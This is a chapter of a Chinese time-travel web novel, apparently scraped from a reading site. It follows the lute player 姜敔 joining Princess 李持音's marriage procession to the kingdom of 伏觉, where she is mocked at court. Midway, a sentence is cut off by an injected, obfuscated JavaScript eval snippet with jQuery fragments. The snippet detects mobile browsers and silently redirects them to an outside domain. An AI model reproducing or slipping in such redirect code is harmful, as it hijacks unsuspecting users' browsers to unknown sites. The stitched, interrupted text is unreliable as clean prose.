33. 琴师(四)
作品:《炮灰跑堂撕定BE剧本(快穿)》 为了促使姜敔与李持音重聚,萧霖和穆宥可是费了不少力气,但好在还有宫中随行嬷嬷伸之援手,才能让二人相见如此顺利。
嬷嬷认得姜敔,也看得出这八年来二人的心心相惜,但怎奈李持音贵为一国公主,而姜敔,却是一介琴师,仅仅是一介琴师。
可这次,当姜敔被萧霖一众强行绑来时,嬷嬷会意,做主让他见了一面李持音。
与嬷嬷一同待在楼下,萧霖仰着头看向姜敔的背影。
当下的他,是这般脆弱不堪,怯懦地让人气愤。
转念一想,像他这样怯懦之人,又是如何变成将来那个,为救一人,把自己弄得沧桑不堪,甚至盲了左眼的怪客呢?
萧霖很是好奇,比以往都要好奇。
那轮皓月挂在长空之中,夜色如墨浓得化不开,衬得那月愈发明亮,星光靥靥,银灰洒到厢房内,洒到人心上。
姜敔的脸庞流下一滴汗水,额前早已湿润。
他喘着大气看向李持音朦胧的眸子,心中纵有万语千言,却在她面前吐不出一字来。
李持音拭干眼眶中的泪水,伸头望望,见长廊无人,赶忙将姜敔拉进房内,谨小慎微地合上门去。
独两人的房内,气氛逐渐微妙。
顿然,李持音拥上了姜敔,她躲在他怀中掉下泪珠,刻意压低的嘤嘤哭声似刀剑般,狠狠扎向姜敔的心尖。
俩人抱在一起好一阵儿,李持音才撒了手拉着姜敔坐下。
她点燃了桌上的烛火,在烛光之中才发觉姜敔的满头大汗。
见状,她连忙找出一块帕子帮他擦拭额头,边擦边问:“你如何找到这儿的?”
“我……”姜敔哑口,不知如何作答。
被绑上马车之时,萧霖和穆宥曾同他说过,如若他此次不与李持音同去伏觉,那在将来,李持音便会客死他乡,死因成谜,他若当真狠心,大可调头回京。
姜敔虽懦弱,但一旦关乎李持音生死,也踯躅了片刻。
他深知,他的琴曲,向来就是为了李持音而存在,他的爱意,也只会归属于李持音一人。
他再狠心,也不能生生见她不明不白地离去。
思来想去,既到了此地,纵使他和李持音不会如平头百姓般相爱相守,只要他能暂时护着她,用他的琴曲抚慰她的愁绪,也就足够。
“我看见了客栈门前的御马,估摸你是在这儿歇了脚,进来后,发现你的这间厢房点着烛火,影子投在了窗户上,我一看那影子便知是你,于是我赶忙跑了上来……”
姜敔讲此话之时还带着些喘气声,李持音也在一旁为他抚背。
“那你为何又要来寻我?”
李持音这一问使得姜敔愣在原地,他咬起唇来,内心纠结着不知当不当讲。
正当他犹豫时,萧霖和穆宥的话再度浮现在脑海之中,他即刻一咬牙一闭眼,决定对李持音坦白一切:“我不愿见你一人在他乡无人相伴,我不愿在往后时日再也无法见你一面,我深知自己无法将你娶进门相伴余生,但我愿意,愿意用尽我的余生,只为你一人抚琴。”
他的目光坚定有力,一字一句都狠狠砸在李持音的心头。
她是这般喜爱眼前之人,却又是这般对两人空白的将来充满无力。
他深知自己绝无可能拥有她,那他便把自己赠予她去。
晚风轻拂,房内的烛光摇曳生姿,两人相视而坐了许久,小声聊了两月来的趣事,就好似当下还同过往一般。
渐渐地,李持音揽住姜敔的臂膀,依偎在他的肩头缓缓入睡。
这一夜,她做了一个好梦。
梦见她踏上了草长莺飞的绿地,在暖阳下恣意奔跑,草尖划过她的裙摆,露水打在她的鞋头,她迈着轻快的步伐向前走去。
然后她瞧见,路的尽头升起了一轮太阳,眼前模模糊糊地显出了一个人影。
那人影逆着光,一寸一寸刻在她眸子里——那是她幼时的玩伴、她一生的知己、她千百回梦中惦念嫁与之人。
她梦见自己跑上前去牵上了那人之手,最后二人伴着世间的美好一起消失在骄阳投下的白光之中。
不久,雄鸡报晓,李持音从梦中醒来,这才松开了姜敔的胳膊。
她找到领队的公公,告诉他她要将姜敔收归入和亲队伍之中,姜敔才得以名正言顺地走在了李持音马车旁。
萧霖三人在远处看着,心中既欣喜,又惴惴不安。
“楚老板。”待和亲队伍走远,萧霖转过身来,面向楚陌,“姜敔成功进了和亲队伍,我们接下来怎么办?”
对此,楚陌深吸一口气,故作一副思忖模样:“说来,留襄居在伏觉,好似也有一间铺面来着……”
“伏觉?”闻此,穆宥惊呼一声,“你……你怎么还把铺子开到别的国家去了?”
“怎么?我财力足够,为何不开?”
“他们那边的人,也喜欢喝茶?”
“总有人钟情于此。”
好吧,拗不过他。
不过,留襄居能在伏觉开上一间,于萧霖和穆宥而言确是好事,毕竟有间居所,也能在那儿多待会儿。
虽说眼下,他们只差茶羹一事,但既已入局,他们便想理清,李持音在伏觉,究竟遭遇了何等亏待,又是如何殁于茫茫雪原?
其间一切,阴谋丛生。
没准到最后,他们还能救她一命?真正改写结局?
没再深究,萧霖和穆宥不约而同地望向远行的和亲队伍,将姜敔的身形一寸一寸铭记在心。
姜敔来后,李持音脸色明显红润,心情也好了许多。
那位促成李持音和姜敔会面的嬷嬷将二人的眉来眼去尽收眼底,她深觉其中不妥,于是在某天夜里,擅自找到了李持音。
“殿下,老奴有话同您讲。”嬷嬷轻叩门板。
李持音随即为其打开了门来,礼貌邀她入座,问道:“嬷嬷何事?”
“殿下心仪之人,是姜敔?”
李持音不做声,却被双颊泛起的红晕出卖。
嬷嬷光是看了一眼,就得到了她的答案,此后深深叹了口气。
“公主,您是去远邦和亲之人,您的使命不是去追求自己的婚姻幸福,是要去伏觉平息他方怒火,是去休止战争的,切莫被儿女私情捆住手脚,国之大事,实属误不得零星半点……”
李持音仍旧一言不发,默默陷入深思。
“公主,老奴不过贱婢一个,不似公主这般饱读经书深明大义,但这一路上,老奴能看见饿殍,能看见迁徙的灾民,越是往边疆行进,这样骇人的场景便愈是频繁,老奴害怕,害怕这种情形会发生在皇城,害怕衣衫褴褛沿路乞食的不再是别人,而是我们的亲辈啊!”
嬷嬷越说越激动,握拳敲打着自己的胸脯,也正是这一声声闷响唤醒了李持音。
她抬头看着嬷嬷的面容,心也跟着为之一颤。
“您如今是公主,将来还会成为君后、成为母亲、成为他邦血脉中永恒的存在,可也正是您的存在和付出,维系起了后辈长久的和平!现实永远残酷,我们需要有人牺牲,老奴此番,只想让您时刻铭记,您是公主,要忠于丈夫,不可露出任何破绽,只因您是我夔兮,唯一的希望了……”
是啊,她是公主,她是和亲的公主。
她的袍泽下不是自己的几个孩子,而是她的万千子民,她的心中盛满的不是求小家之愿而应是护万邦之心!
这样的她,又怎能因自身之故,害得子民在战火中求生呢?
这是她生来的使命啊!
一念及她的儿女情长,会在将来的某日,化作点燃战火的硝石,就不免心生恐惧。
若她和姜敔相守的代价,是举国上下不得安宁,那她……那她……
一时间,曾经日日颂读的仁义礼教,与她此刻冒出尖芽的自私之心厮打在一起,拉扯,纠缠,搏杀,最终将那颗嫩芽践踏,踩入泥里。
“嬷嬷,多谢您的提醒,本公主……知晓……”
李持音低下头去,不愿让他人瞧见自己落泪的无助模样,可身旁的嬷嬷却伸臂抱住了她:“孩子,若你不是公主,该有多好啊……”
但她恰好是公主。
在磅礴的时间和深重的战争中,她与他的私情如雾气般飘渺,渺小得不可言说。
又过了几日,和亲队伍终是见到了伏觉王都。
充斥着异域风情的王都,让这队自中原而来的人马,显得格格不入。
前来接驾的,是伏觉王幺子呼延骏。
不似中原人那般文雅,呼延骏的皮肤被阳光晒得黝黑,以牛羊为食的习俗使他身形硕大,面容张扬,瞧着可怖。
进入王都,李持音悄悄揭开了一些帘帐,窥见路旁正做着买卖的族人,他们衣着各异,各行其是,但大部分人还是对着他们一行议论纷纷。
伏觉一族,向来以骁勇善战著称。
善于骑射的他们是这片大草原上,当之无愧的野王,因此,他们的服饰也颇有特色,男子的衣物上须得缝有狼毛,女子衣物是狐毛,孩童则是兔毛。
据李持音此前所读古籍记载,伏觉一族,越是尊贵的身份,衣物上所缝狼皮毛色越近于墨黑,狐皮毛色越近于纯白。
她偷偷望了一眼呼延骏的衣物,上面的皮毛虽说够黑,却还是少了些浓度。
不知是在战场待久了的原因还是其他,李持音光是窥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462491|164571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了他一眼,就被呼延骏找着错处,下一刻,他充满狠厉的目光便直刺她的眸子。
李持音吓得赶忙放下了帘帐。
这呼延骏,不简单。
与此同时,萧霖一行人紧赶慢赶,从马车改坐驴车,最后再坐回马车,几经周折,才落脚伏觉。
此回,倒被穆宥一语道破。
伏觉此地的人民,属实不爱饮茶,因而此地留襄居的铺面,都只是天陵的一半不到。
但麻雀虽小五脏俱全,这样一间小小的茶舍,依然留有能给萧霖和穆宥借宿的厢房。
在此之前,萧霖本还纠结着,自己若不与姜敔一同入王宫,那她该如何知晓李持音之死的真相?
很快,楚陌便给予她答复。
“伏觉一族,向来主张与民同乐,因而王室与百姓之间,并无过多隔阂,王室诸多宴会,都会邀百姓一同参与。”
这样属实省事,好歹不用刻意入宫去服侍他人起居,在留襄居待着,做个跑堂的也自由些。
于是,三人很快就在留襄居落了脚,只待婚宴开始。
转眼李持音那头,几经颠簸,和亲队伍终于抵达了王宫。
在姜敔的搀扶下,李持音走下了马车,踏上了不属于她的土地。
呼延骏看向他们的眼神尽显不屑,他傲慢地走在队伍的最前头,领着他们踏入王宫。
穿过廊道,在呼延骏的带领下,李持音来到了大殿。
既踏入大殿,呼延骏当即右手握拳,向伏觉王行一捶胸礼,随后汇报道:“父王,儿臣已将夔兮来的公主带到。”
坐在高台王座上的伏觉王右手支着脑袋,举起左臂冲呼延骏摆了摆手示意他退下。
李持音更加使劲地握住了姜敔的胳膊。
她披着盖头看不见的前方,如同她那个被蒙住了的未来,往后的她只能时时刻刻盯着脚下,小心翼翼地前进。
她记得,现任的伏觉王名唤呼延努,早已年过半百,膝下有三子,分别是长子呼延虎,次子呼延啸和幺子呼延骏。
作为嫡长子,呼延虎虽是个有勇无谋的莽夫,但他仍是伏觉名正言顺的王储。
可王储之争哪能不眼红,次子呼延啸母方势力尤为强大,各方势力皆有揣测,他的母妃,极有可能助他夺权。
然幺子呼延骏似乎在民间名声更大些,他战功赫赫,是百姓看好的伏觉王,不过除了民心,他并无其他利因可争。
因此,虽已立了王储,三子之间仍在暗中较量。
即便王储之争风起云涌,都与李持音无关。
她要嫁的,还是现如今高坐王位的呼延努。
“夔兮公主为何要将脸盖住?莫不是长相丑陋怕吓着我们吧哈哈哈!”呼延努高高在上的声音忽然在李持音耳畔响起,把她骇得不禁抖了一下。
随行公公借此答道:“回大王,新婚之时新娘的容貌只许郎官可看,因此盖上盖头示人是我们夔兮的习俗……”
“到了孤的伏觉就要遵守伏觉之俗!给孤把盖头摘下来!”呼延努的声音声如洪钟,把和亲队伍一行人吓得不轻。
李持音也被吓着,她攥住裙摆深吸一口气后,缓缓抬起手,悠悠扯下自己的盖头,使得花容露在大殿一众人的眼前。
此时的姜敔站在一旁,眼中透出关切的神色。
伏觉人向来粗犷,即便是女子也生得脸大面黑,他们是头一次见到李持音这中原公主的容貌——清丽文秀,肤如凝脂,手如柔荑。
揭开盖头的李持音招来周围人如雷的议论,甚至还伴着口哨声,倍感羞辱。
不仅是伏觉在殿上的大臣,连呼延努见她这模样都仰天大笑,留李持音等人站在原地受辱。
一声声大笑如鼓点,敲打在李持音那颗微不足道却也强韧的自尊上。
她不自觉咬紧了牙关。
笑够了后,呼延努才命人帮他们一行安顿住处,并告知他们,婚宴在夜间举行,到时他们须得来参与婚宴。
至于李持音的婚服,自然要脱下她这身所谓中原的礼服,穿伏觉的兽皮。
一声声令下,无人敢抗。
李持音的寝殿,被有意安排在廊道的尽头,所幸那儿还能让月光照入,她也能透过窗子窥见故土的方向。
一切还未太糟,李持音这般想着。
可一切,怎么可能不糟?
自他们入宫,到在大殿里受辱,李持音内心的防线早被击溃。
这个未知的将来、未知的眼前都将她压得喘不上气来。
她心中深感,等会儿的婚宴,必然会是一场,被伏觉王百般设计的、更为耻辱的局。
可她能如何,她是公主,没有分毫拒绝的权力……